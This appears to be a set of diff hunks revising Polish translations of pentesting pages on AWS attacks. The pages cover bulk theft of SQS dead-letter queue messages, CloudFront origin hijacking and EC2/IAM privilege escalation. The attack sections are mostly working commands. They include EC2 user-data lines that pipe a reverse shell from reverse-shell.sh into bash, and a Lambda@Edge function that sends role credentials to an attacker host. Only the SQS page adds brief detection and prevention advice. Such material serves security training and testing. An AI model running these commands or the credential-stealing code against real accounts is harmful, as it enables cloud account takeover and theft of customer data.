+### Attack Scenario 3: Sensitive Data Exfiltration

-Odczytaj wiele rekordów, aby wydobyć poufne cechy i opracować profil zachowania modelu:
+Odczytaj wiele rekordów, aby wydobyć poufne cechy i profilować zachowanie modelu:
 ```bash
 # Exfiltrate data for known users
 for USER_ID in user-001 user-002 user-003 user-999; do
@@ -108,9 +108,9 @@ done
 ```
 **Wpływ**: Poufne cechy (oceny ryzyka, wzorce transakcji, dane osobowe) ujawnione atakującemu.

-### Tworzenie testowego/demonstracyjnego Feature Group (opcjonalne)
+### Tworzenie testowego/demo Feature Group (opcjonalne)

-Jeśli potrzebujesz utworzyć testowy Feature Group:
+Jeśli musisz utworzyć testowy Feature Group:
 ```bash
 REGION=${REGION:-us-east-1}
 FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
@@ -144,5 +144,5 @@ fi
 echo "Feature Group ready: $FG"
 ```
 ## Źródła
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
+- [Dokumentacja AWS SageMaker Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
+- [Najlepsze praktyki bezpieczeństwa Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
@@ -4,52 +4,52 @@

 ## Opis

-Wykorzystaj zadania przenoszenia wiadomości SQS, aby ukraść wszystkie zgromadzone wiadomości z Dead-Letter Queue (DLQ) ofiary, przekierowując je do kolejki kontrolowanej przez atakującego za pomocą `sqs:StartMessageMoveTask`. Ta technika wykorzystuje legalną funkcję odzyskiwania wiadomości AWS do eksfiltracji wrażliwych danych, które z czasem zgromadziły się w DLQ.
+Nadużyj zadań przenoszenia wiadomości SQS, aby ukraść wszystkie zgromadzone wiadomości z Dead-Letter Queue (DLQ) ofiary, przekierowując je do kolejki kontrolowanej przez atakującego przy użyciu `sqs:StartMessageMoveTask`. Ta technika wykorzystuje legalną funkcję odzyskiwania wiadomości w AWS do eksfiltracji wrażliwych danych, które gromadziły się w DLQ przez dłuższy czas.

-## Co to jest Dead-Letter Queue (DLQ)?
+## Czym jest Dead-Letter Queue (DLQ)?

-Dead-Letter Queue to specjalna kolejka SQS, do której wiadomości są automatycznie wysyłane, gdy nie uda się ich poprawnie przetworzyć przez główną aplikację. Te nieudane wiadomości często zawierają:
- Wrażliwe dane aplikacji, które nie mogły zostać przetworzone
- Szczegóły błędów i informacje pomocne w debugowaniu
- Dane osobowe (PII)
- Tokeny API, poświadczenia lub inne sekrety
+Dead-Letter Queue to specjalna kolejka SQS, do której automatycznie trafiają wiadomości, gdy główna aplikacja nie jest w stanie ich poprawnie przetworzyć. Te nieprzetworzone wiadomości często zawierają:
+- Wrażliwe dane aplikacji, których nie udało się przetworzyć
+- Szczegóły błędów i informacje do debugowania
+- Personal Identifiable Information (PII)
+- API tokens, poświadczenia lub inne sekrety
 - Krytyczne dla biznesu dane transakcyjne

-DLQ działają jak "cmentarz" dla nieudanych wiadomości, przez co są cennym celem — gromadzą wrażliwe dane przez długi czas, których aplikacje nie były w stanie obsłużyć.
+DLQ pełnią rolę "cmentarza" dla nieudanych wiadomości, co czyni je wartościowymi celami, ponieważ z czasem gromadzą wrażliwe dane, których aplikacje nie potrafiły obsłużyć.

 ## Scenariusz ataku

-**Przykład z prawdziwego świata:**
+**Przykład z życia:**
 1. **Aplikacja e-commerce** przetwarza zamówienia klientów przez SQS
-2. **Niektóre zamówienia się nie powiodły** (problemy z płatnością, brak towaru itp.) i trafiają do DLQ
-3. **DLQ gromadzi** tygodnie/miesiące nieudanych zamówień zawierających dane klientów: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
-4. **Atakujący zdobywa dostęp** do poświadczeń AWS z uprawnieniami do SQS
+2. **Niektóre zamówienia zawodzą** (problemy z płatnością, braki w magazynie itp.) i trafiają do DLQ
+3. **DLQ gromadzi** przez tygodnie/miesiące nieudane zamówienia zawierające dane klientów: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Atakujący uzyskuje dostęp** do poświadczeń AWS z uprawnieniami do SQS
 5. **Atakujący odkrywa**, że DLQ zawiera tysiące nieudanych zamówień z wrażliwymi danymi
-6. **Zamiast próbować uzyskać dostęp do pojedynczych wiadomości** (wolne i oczywiste), atakujący używa `StartMessageMoveTask`, aby masowo przenieść WSZYSTKIE wiadomości do swojej kolejki
+6. **Zamiast próbować uzyskać dostęp do pojedynczych wiadomości** (powolne i oczywiste), atakujący używa `StartMessageMoveTask`, aby masowo przenieść WSZYSTKIE wiadomości do swojej kolejki
 7. **Atakujący wydobywa** wszystkie historyczne wrażliwe dane w jednej operacji

 ## Wymagania
- Kolejka źródłowa musi być skonfigurowana jako DLQ (referencja w przynajmniej jednej polityce RedrivePolicy innej kolejki).
- Uprawnienia IAM (działające jako skompromitowany podmiot ofiary):
+- Kolejka źródłowa musi być skonfigurowana jako DLQ (referencjonowana przez przynajmniej jedną kolejkę w RedrivePolicy).
+- Uprawnienia IAM (działając jako skompromitowany podmiot ofiary):
 - Na DLQ (źródło): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Na kolejce docelowej: uprawnienie do dostarczania wiadomości (np. polityka kolejki pozwalająca na `sqs:SendMessage` z konta podmiotu ofiary). Dla kolejek w tym samym koncie zwykle jest to dozwolone domyślnie.
+- Na kolejce docelowej: uprawnienie do dostarczania wiadomości (np. polityka kolejki pozwalająca `sqs:SendMessage` od podmiotu ofiary). Dla destynacji w tym samym koncie jest to zazwyczaj dozwolone domyślnie.
 - Jeśli SSE-KMS jest włączone: na źródłowym CMK `kms:Decrypt`, oraz na docelowym CMK `kms:GenerateDataKey`, `kms:Encrypt`.

 ## Wpływ
-Eksfiltracja wrażliwych ładunków zgromadzonych w DLQ (nieudane zdarzenia, PII, tokeny, ładunki aplikacji) z dużą szybkością przy użyciu natywnych API SQS. Działa międzykontowo, jeśli polityka kolejki docelowej pozwala na `SendMessage` od podmiotu ofiary.
+Eksfiltracja wrażliwych ładunków zgromadzonych w DLQ (nieudane zdarzenia, PII, tokeny, payloady aplikacji) z dużą szybkością przy użyciu natywnych API SQS. Działa cross-account, jeśli polityka kolejki docelowej pozwala `SendMessage` od podmiotu ofiary.

-## Jak wykorzystać
+## Jak nadużyć

- Zidentyfikuj ARN DLQ ofiary i upewnij się, że jest faktycznie używana jako DLQ przez jakąś kolejkę (dowolna kolejka).
+- Zidentyfikuj ARN ofiarnej DLQ i upewnij się, że jest ona faktycznie referencjonowana jako DLQ przez jakąś kolejkę (dowolna kolejka wystarczy).
 - Utwórz lub wybierz kontrolowaną przez atakującego kolejkę docelową i zdobądź jej ARN.
- Uruchom zadanie przenoszenia wiadomości z DLQ ofiary do swojej kolejki docelowej.
- Monitoruj postęp lub anuluj zadanie w razie potrzeby.
+- Uruchom zadanie przeniesienia wiadomości ze złośliwej DLQ do swojej kolejki docelowej.
+- Monitoruj postęp lub anuluj w razie potrzeby.

 ### CLI Example: Exfiltrating Customer Data from E-commerce DLQ

-**Scenariusz**: Atakujący przejął poświadczenia AWS i odkrył, że aplikacja e-commerce używa SQS z DLQ zawierającym nieudane próby przetwarzania zamówień klientów.
+**Scenariusz**: Atakujący skompromitował poświadczenia AWS i odkrył, że aplikacja e-commerce używa SQS z DLQ zawierającą nieudane próby przetworzenia zamówień klientów.

-1) **Odkryj i przeanalizuj DLQ ofiary**
+1) **Odkryj i przeanalizuj ofiarną DLQ**
 ```bash
 # List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
 aws sqs list-queues --queue-name-prefix dlq
@@ -63,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
 --attribute-names ApproximateNumberOfMessages
 # Output might show: "ApproximateNumberOfMessages": "1847"
 ```
-2) **Utwórz kontrolowaną przez atakującego kolejkę docelową**
+2) **Utwórz docelową kolejkę kontrolowaną przez atakującego**
 ```bash
 # Create our exfiltration queue
 ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -71,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at

 echo "Created exfiltration queue: $ATTACKER_Q_ARN"
 ```
-3) **Przeprowadź masowe wykradanie wiadomości**
+3) **Wykonaj masową kradzież wiadomości**
 ```bash
 # Start moving ALL messages from victim DLQ to our queue
 # This operation will transfer thousands of failed orders containing customer data
@@ -86,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
 # Monitor the theft progress
 aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
 ```
-4) **Zbierz skradzione wrażliwe dane**
+4) **Zgromadź skradzione wrażliwe dane**
 ```bash
 # Receive the exfiltrated customer data
 echo "Receiving stolen customer data..."
@@ -115,16 +115,16 @@ echo "Received batch of stolen data..."
 echo "$MESSAGES" >> stolen_customer_data.json
 done
 ```
-### Uwagi dotyczące dostępu między kontami
- Kolejka docelowa musi mieć politykę zasobu pozwalającą principalowi ofiary na `sqs:SendMessage` (a, jeśli używane, przyznania/uprawnienia KMS).
+### Uwagi dotyczące cross-account
+- Kolejka docelowa musi mieć politykę zasobów zezwalającą podmiotowi ofiary na `sqs:SendMessage` (oraz, jeśli używane, przyznania/uprawnienia KMS).

 ## Dlaczego ten atak jest skuteczny

-1. **Wbudowana funkcja AWS**: Wykorzystuje wbudowaną funkcjonalność AWS, co utrudnia wykrycie jako działanie złośliwe
-2. **Operacja masowa**: Przenosi tysiące wiadomości szybko zamiast powolnego dostępu pojedynczego
+1. **Wbudowana funkcja AWS**: Wykorzystuje wbudowaną funkcjonalność AWS, co utrudnia wykrycie jako złośliwe
+2. **Operacja masowa**: Przenosi tysiące wiadomości szybko zamiast powolnego pojedynczego dostępu
 3. **Dane historyczne**: DLQs gromadzą wrażliwe dane przez tygodnie/miesiące
-4. **Poza radarem**: Wiele organizacji nie monitoruje dostępu do DLQ uważnie
-5. **Możliwość międzykontowa**: Może exfiltrate do własnego konta AWS atakującego, jeśli uprawnienia na to pozwalają
+4. **Poza radarem**: Wiele organizacji nie monitoruje dostępu do DLQ dokładnie
+5. **Możliwość cross-account**: Może exfiltrate do własnego konta AWS atakującego, jeśli uprawnienia na to pozwalają

 ## Wykrywanie i zapobieganie

@@ -145,10 +145,10 @@ Monitoruj CloudTrail pod kątem podejrzanych wywołań API `StartMessageMoveTask
 }
 ```
 ### Zapobieganie
-1. **Zasada najmniejszych uprawnień**: Ogranicz uprawnienia `sqs:StartMessageMoveTask` wyłącznie do niezbędnych ról
-2. **Monitoruj DLQs**: Skonfiguruj alarmy CloudWatch dla nietypowej aktywności DLQ
-3. **Polityki cross-account**: Dokładnie przejrzyj polityki kolejek SQS zezwalające na dostęp między kontami
-4. **Szyfruj DLQs**: Używaj SSE-KMS z ograniczonymi politykami klucza
-5. **Regularne czyszczenie**: Nie pozwól, by wrażliwe dane gromadziły się w DLQs bezterminowo
+1. **Zasada najmniejszych uprawnień**: Ogranicz uprawnienia `sqs:StartMessageMoveTask` tylko do niezbędnych ról
+2. **Monitoruj DLQs**: Skonfiguruj alarmy CloudWatch dla nietypowej aktywności DLQs
+3. **Polityki cross-account**: Dokładnie sprawdź polityki kolejek SQS zezwalające na dostęp cross-account
+4. **Szyfruj DLQs**: Użyj SSE-KMS z restrykcyjnymi politykami kluczy
+5. **Regularne czyszczenie**: Nie pozwól, aby wrażliwe dane gromadziły się w DLQs bezterminowo

 {{#include ../../../banners/hacktricks-training.md}}
@@ -6,9 +6,9 @@

 ### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`

-Atakujący, który posiada uprawnienia `cloudfront:UpdateDistribution` i `cloudfront:GetDistributionConfig`, może zmodyfikować konfigurację dystrybucji CloudFront. Nie potrzebuje uprawnień do docelowego bucketu S3, chociaż atak jest łatwiejszy, jeśli ten bucket ma permisywną politykę pozwalającą na dostęp z service principal cloudfront.amazonaws.com.
+Atakujący, który ma uprawnienia `cloudfront:UpdateDistribution` i `cloudfront:GetDistributionConfig`, może zmodyfikować konfigurację dystrybucji CloudFront. Nie potrzebuje uprawnień do docelowego bucketu S3, choć atak jest prostszy, jeśli ten bucket ma luźną politykę umożliwiającą dostęp podmiotowi usługi `cloudfront.amazonaws.com`.

-Atakujący zmienia konfigurację origin dystrybucji, aby wskazywała na inny bucket S3 lub na serwer kontrolowany przez atakującego. Najpierw pobiera aktualną konfigurację dystrybucji:
+Atakujący zmienia konfigurację origin dystrybucji, aby wskazywała na inny bucket S3 lub na serwer kontrolowany przez atakującego. Najpierw pobierają aktualną konfigurację dystrybucji:
 ```bash
 aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
 ```
@@ -40,7 +40,7 @@ Następnie edytują current-config.json, aby wskazać origin na nowy zasób —
 },
 ...
 ```
-Na koniec zastosuj zmodyfikowaną konfigurację (musisz podać bieżący ETag podczas aktualizacji):
+Na koniec zastosuj zmodyfikowaną konfigurację (musisz podać aktualny ETag podczas aktualizacji):
 ```bash
 CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

@@ -97,10 +97,10 @@ aws cloudfront create-function --name malicious-function --function-config '{
 "Runtime": "cloudfront-js-1.0"
 }' --function-code fileb://malicious-function.js

-# Pobierz ETag funkcji w etapie DEVELOPMENT
+# Pobierz ETag funkcji na etapie DEVELOPMENT
 aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text

-# Opublikuj funkcję do etapu LIVE
+# Opublikuj funkcję na etapie LIVE
 aws cloudfront publish-function --name malicious-function --if-match <etag>
 ```

@@ -135,37 +135,37 @@ The attacker creates a malicious Lambda@Edge function that steals the IAM role c
 ```bash
 // malicious-lambda-edge.js
 exports.handler = async (event) => {
-  // Pobierz poświadczenia roli
-  const credentials = {
-    accessKeyId: process.env.AWS_ACCESS_KEY_ID,
-    secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
-    sessionToken: process.env.AWS_SESSION_TOKEN,
-  };
-  // Wyślij poświadczenia na serwer atakującego
-  try {
-    await fetch("https://<attacker-ip>/steal-credentials", {
-      method: "POST",
-      headers: { "Content-Type": "application/json" },
-      body: JSON.stringify(credentials)
-    });
-  } catch (error) {
-    console.error("Błąd wysyłania poświadczeń:", error);
-  }
-  if (event.Records && event.Records[0] && event.Records[0].cf) {
-    // Zmodyfikuj nagłówki odpowiedzi
-    const response = event.Records[0].cf.response;
-    response.headers["x-credential-theft"] = [
-      {
-        key: "X-Credential-Theft",
-        value: "Successful",
-      },
-    ];
-    return response;
-  }
-  return {
-    statusCode: 200,
-    body: JSON.stringify({ message: "Poświadczenia skradzione" })
-  };
+// Obtain role credentials
+const credentials = {
+accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+sessionToken: process.env.AWS_SESSION_TOKEN,
+};
+// Send credentials to attacker's server
+try {
+await fetch("https://<attacker-ip>/steal-credentials", {
+method: "POST",
+headers: { "Content-Type": "application/json" },
+body: JSON.stringify(credentials)
+});
+} catch (error) {
+console.error("Error sending credentials:", error);
+}
+if (event.Records && event.Records[0] && event.Records[0].cf) {
+// Modify response headers
+const response = event.Records[0].cf.response;
+response.headers["x-credential-theft"] = [
+{
+key: "X-Credential-Theft",
+value: "Successful",
+},
+];
+return response;
+}
+return {
+statusCode: 200,
+body: JSON.stringify({ message: "Credentials stolen" })
+};
 };
 ```

@@ -202,7 +202,7 @@ Then the attacker updates the CloudFront distribution configuration to reference
 ```

 ```bash
-# Zastosuj zaktualizowaną konfigurację dystrybucji (należy użyć aktualnego ETag)
+# Zastosuj zaktualizowaną konfigurację dystrybucji (należy użyć bieżącego ETag)
 CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

 aws cloudfront update-distribution \
@@ -4,7 +4,7 @@

 ## EC2

-Więcej informacji o **EC2** znajdziesz:
+Więcej **informacji o EC2** znajdziesz tutaj:

 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,11 +12,11 @@ Więcej informacji o **EC2** znajdziesz:

 ### `iam:PassRole`, `ec2:RunInstances`

-Atakujący może **utworzyć instancję z dołączoną rolą IAM, a następnie uzyskać dostęp do tej instancji** i ukraść dane uwierzytelniające roli IAM z endpointu metadanych.
+Atakujący może **utworzyć instancję z dołączoną rolą IAM, a następnie uzyskać dostęp do tej instancji**, aby ukraść poświadczenia roli IAM z endpointu metadanych.

 - **Dostęp przez SSH**

-Uruchom nową instancję używając **utworzonego** **ssh key** (`--key-name`) i następnie zaloguj się przez ssh (jeśli chcesz utworzyć nowy, możesz potrzebować uprawnienia `ec2:CreateKeyPair`).
+Uruchom nową instancję używając **utworzonego** **ssh key** (`--key-name`) i zaloguj się przez ssh do niej (jeśli chcesz utworzyć nowy możesz potrzebować uprawnienia `ec2:CreateKeyPair`).
 ```bash
 aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 ```
 - **Dostęp przez rev shell w user data**

-Możesz uruchomić nową instancję używając **user data** (`--user-data`), która wyśle do Ciebie **rev shell**. Nie musisz w ten sposób określać security group.
+Możesz uruchomić nową instancję przy użyciu **user data** (`--user-data`), które wyśle do Ciebie **rev shell**. W ten sposób nie musisz określać security group.
 ```bash
 echo '#!/bin/bash
 curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -40,11 +40,11 @@ Uważaj na GuradDuty, jeśli używasz poświadczeń roli IAM poza instancją:
 ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
 {{#endref}}

-**Potencjalny wpływ:** Bezpośredni privesc do dowolnej roli EC2 przypisanej do istniejących instance profiles.
+**Potencjalny wpływ:** Direct privesc do dowolnej roli EC2 przypisanej do istniejących instance profiles.

 #### Privesc do ECS

-Dysponując tym zbiorem uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób usługi ECS będą **uruchamiane** wewnątrz **instancji EC2**, do której masz dostęp, a następnie możesz przedostać się do tych usług (docker containers) i **ukraść przypisane im role ECS**.
+Dysponując tym zestawem uprawnień możesz także **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób ECS **usługi** będą **uruchamiane** wewnątrz **instancji EC2**, do której masz dostęp, a następnie możesz przełamać te usługi (kontenery docker) i **ukraść przypisane im role ECS**.
 ```bash
 aws ec2 run-instances \
 --image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
 #!/bin/bash
 echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
 ```
-Aby dowiedzieć się, jak **wymusić uruchomienie usług ECS** na tej nowej instancji EC2, sprawdź:
+Aby dowiedzieć się, jak **zmusić usługi ECS do uruchomienia się** w tej nowej instancji EC2 sprawdź:

 {{#ref}}
 ../aws-ecs-privesc/README.md
 {{#endref}}

-Jeśli **nie możesz utworzyć nowej instancji**, ale masz uprawnienie `ecs:RegisterContainerInstance`, możesz być w stanie zarejestrować instancję w klastrze i przeprowadzić opisywany atak.
+Jeśli **nie możesz utworzyć nowej instancji**, ale masz uprawnienie `ecs:RegisterContainerInstance`, możesz być w stanie zarejestrować instancję w klastrze i wykonać opisany atak.

 **Potencjalny wpływ:** Bezpośredni privesc do ról ECS przypisanych do zadań.

 ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**

-Podobnie jak w poprzednim scenariuszu, atakujący posiadający te uprawnienia mógłby **zmienić rolę IAM skompromitowanej instancji**, aby móc ukraść nowe poświadczenia.\
-Ponieważ instance profile może mieć tylko 1 rolę, jeśli instance profile **już ma rolę** (częsty przypadek), będziesz również potrzebować **`iam:RemoveRoleFromInstanceProfile`**.
+Podobnie jak w poprzednim scenariuszu, atakujący z tymi uprawnieniami mógłby **zmienić rolę IAM zaatakowanej instancji**, aby móc wykraść nowe poświadczenia.\
+Ponieważ instance profile może mieć tylko 1 rolę, jeśli instance profile **już ma rolę** (częsty przypadek), będziesz także potrzebować **`iam:RemoveRoleFromInstanceProfile`**.
 ```bash
 # Removing role from instance profile
 aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -80,34 +80,35 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
 # Add role to instance profile
 aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
 ```
-Jeśli **instance profile has a role** i atakujący **cannot remove it**, istnieje inne obejście. Może **find** **instance profile without a role** lub **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** do tego **instance profile** (jak omówiono wcześniej) i **associate the instance profile** z compromised i**nstance:**
+Jeśli **instance profile has a role** i atakujący **cannot remove it**, istnieje inne obejście.  
+Atakujący może **find** an **instance profile without a role** lub **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** do tego **instance profile** (jak omówiono wcześniej), i **associate the instance profile** skompromitowanego do skompromitowanej i**nstance:**  

- Jeśli instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
+- Jeśli instancja **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
 ```bash
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
-**Potencjalny wpływ:** Bezpośredni privesc do innej roli EC2 (musisz przejąć instancję AWS EC2 oraz mieć dodatkowe uprawnienie lub konkretny status instance profile).
+**Potencjalny wpływ:** Direct privesc to a different EC2 role (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienie lub specyficzny stan profilu instancji).

 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)

-Dzięki tym uprawnieniom można zmienić instance profile przypisany do instancji, więc jeśli atakujący już ma dostęp do instancji, będzie mógł wykraść poświadczenia dla innych ról instance profile, zmieniając przypisany do niej.
+Dzięki tym uprawnieniom możliwe jest zmienienie profilu instancji przypisanego do instancji, więc jeśli atakujący już ma dostęp do instancji, będzie mógł zdobyć poświadczenia innych ról przypisanych do profilu instancji, zmieniając ten powiązany z nią.

- Jeśli instancja **ma instance profile**, możesz **usunąć** instance profile (`ec2:DisassociateIamInstanceProfile`) i **przypisać** je
+- Jeśli **ma profil instancji**, możesz **usunąć** profil instancji (`ec2:DisassociateIamInstanceProfile`) i **powiązać** go
 ```bash
 aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
 aws ec2 disassociate-iam-instance-profile --association-id <value>
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
- lub **zastąpić** **instance profile** skompromitowanej instance (`ec2:ReplaceIamInstanceProfileAssociation`).
+- lub **zastąpić** **instance profile** skompromitowanej instancji (`ec2:ReplaceIamInstanceProfileAssociation`).
 ```bash
 aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
 ```
-**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć przejętą instancję AWS EC2 oraz dodatkowe uprawnienie lub określony status instance profile).
+**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienie lub specyficzny status instance profile).

 ### `ec2:RequestSpotInstances`,`iam:PassRole`

-Atakujący z uprawnieniami **`ec2:RequestSpotInstances`and`iam:PassRole`** może **zażądać** **Spot Instance** z **dołączoną rolą EC2** i **rev shell** w **user data**.\
-Po uruchomieniu instancji, może **przejąć rolę IAM**.
+Atakujący z uprawnieniami **`ec2:RequestSpotInstances`and`iam:PassRole`** może **zażądać** **Spot Instance** z **dołączoną EC2 Role** i **rev shell** w **user data**.\
+Gdy instancja zostanie uruchomiona, atakujący może **ukraść rolę IAM**.
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +120,9 @@ aws ec2 request-spot-instances \
 ```
 ### `ec2:ModifyInstanceAttribute`

-Atakujący posiadający uprawnienie **`ec2:ModifyInstanceAttribute`** może modyfikować atrybuty instancji. Między innymi może **zmienić user data**, co oznacza, że może sprawić, że instancja będzie **uruchamiać dowolne dane**. To można wykorzystać do uzyskania **rev shell do instancji EC2**.
+Atakujący posiadający uprawnienie **`ec2:ModifyInstanceAttribute`** może modyfikować atrybuty instancji. Wśród nich może **zmienić user data**, co oznacza, że może sprawić, by instancja **uruchomiła dowolny kod.** To może być użyte do uzyskania **rev shell na instancji EC2**.

-Należy pamiętać, że atrybuty można **modyfikować tylko gdy instancja jest zatrzymana**, więc wymagane są **uprawnienia** **`ec2:StopInstances`** i **`ec2:StartInstances`**.
+Należy pamiętać, że atrybuty można **modyfikować tylko, gdy instancja jest zatrzymana**, więc potrzebne są **uprawnienia** **`ec2:StopInstances`** i **`ec2:StartInstances`**.
 ```bash
 TEXT='Content-Type: multipart/mixed; boundary="//"
 MIME-Version: 1.0
@@ -158,11 +159,11 @@ aws ec2 modify-instance-attribute \

 aws ec2 start-instances --instance-ids $INSTANCE_ID
 ```
-**Potencjalny wpływ:** Bezpośrednie privesc do dowolnego EC2 IAM Role przypisanego do utworzonej instancji.
+**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej EC2 IAM Role przypisanej do utworzonej instancji.

 ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`

-Atakujący posiadający uprawnienia **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** może utworzyć **new Launch Template version** z **rev shell in** the **user data** i z przypisanym **any EC2 IAM Role on it**, zmienić domyślną wersję, a **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** ponownie uruchomi instancje używające tego szablonu i wykona rev shell.
+Atakujący posiadający uprawnienia **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** może utworzyć **new Launch Template version** z **rev shell in** the **user data** i przypisać do niej **any EC2 IAM Role on it**, zmienić wersję domyślną, a **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** ponownie uruchomi instancje używające tego szablonu i wykona rev shell.
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +177,11 @@ aws ec2 modify-launch-template \
 --launch-template-name bad_template \
 --default-version 2
 ```
-**Potencjalny wpływ:** Direct privesc na inną rolę EC2.
+**Potencjalny wpływ:** Bezpośredni privesc do innej EC2 role.

 ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`),  `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)

-Atakujący posiadający uprawnienia **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć Launch Configuration** z **IAM Role** i **rev shell** wewnątrz **user data**, następnie **utworzyć autoscaling group** na podstawie tej konfiguracji i poczekać, aż rev shell **ukradnie IAM Role**.
+Atakujący z uprawnieniami **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć Launch Configuration** z **IAM Role** i **rev shell** wewnątrz **user data**, następnie **utworzyć autoscaling group** z tej konfiguracji i poczekać, aż **rev shell** **wykradnie IAM Role**.
 ```bash
 aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
 --launch-configuration-name bad_config \
@@ -200,24 +201,24 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \

 ### `!autoscaling`

-Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do eskalacji** uprawnień do roli IAM, ponieważ aby przypisać rolę określoną w Launch Configuration lub w Launch Template **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym privesc).
+Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza, aby przeprowadzić eskalację** uprawnień do roli IAM, ponieważ aby przypisać rolę określoną w Launch Configuration lub w Launch Template **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym privesc).

 ### `ec2-instance-connect:SendSSHPublicKey`

-Atakujący posiadający uprawnienie **`ec2-instance-connect:SendSSHPublicKey`** może dodać klucz ssh do użytkownika i użyć go, by uzyskać dostęp (jeśli ma dostęp ssh do instancji) lub do eskalacji uprawnień.
+Atakujący z uprawnieniem **`ec2-instance-connect:SendSSHPublicKey`** może dodać klucz ssh do użytkownika i użyć go, aby uzyskać dostęp (jeśli ma dostęp ssh do instancji) lub aby eskalować uprawnienia.
 ```bash
 aws ec2-instance-connect send-ssh-public-key \
 --instance-id "$INSTANCE_ID" \
 --instance-os-user "ec2-user" \
 --ssh-public-key "file://$PUBK_PATH"
 ```
-**Potencjalny wpływ:** Bezpośredni privesc do EC2 IAM roles przypisanych do uruchomionych instancji.
